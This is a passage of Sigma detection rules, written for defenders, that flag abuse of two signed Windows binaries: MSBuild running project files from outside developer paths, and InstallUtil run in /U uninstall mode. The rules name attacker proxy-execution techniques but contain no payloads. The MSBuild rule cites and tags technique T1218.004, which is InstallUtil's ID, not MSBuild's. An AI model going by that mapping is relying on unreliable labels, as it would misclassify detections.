  - attack.t1218.011

title: LOLBins - MSBuild Inline Task Code Execution
id: e5f6a7b8-2001-0005-abcd-ef1234567817
status: stable
description: 检测 MSBuild 执行来自非开发环境的项目文件
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/004/
  - https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\MSBuild.exe'
    CommandLine|contains:
      - '.csproj'
      - '.vbproj'
      - '.fsproj'
  filter_dev:
    CommandLine|contains:
      - 'C:\Program Files\Microsoft Visual Studio'
      - 'C:\Program Files (x86)\Microsoft Visual Studio'
      - 'C:\Users\*\.nuget\'
  condition: selection and not filter_dev
level: medium
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.004

title: LOLBins - InstallUtil Uninstall Mode Execution
id: e5f6a7b8-2001-0006-abcd-ef1234567818
status: stable
description: 检测 InstallUtil 使用 /U（卸载模式）执行可疑 .NET 程序集
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/004/
  - https://lolbas-project.github.io/lolbas/Binaries/InstallUtil/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\InstallUtil.exe'
    CommandLine|contains: '/U'
  filter_dev:
    CommandLine|contains:
      - 'C:\Program Files'
      - 'Microsoft\VisualStudio'
  condition: selection and not filter_dev
level: medium
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.004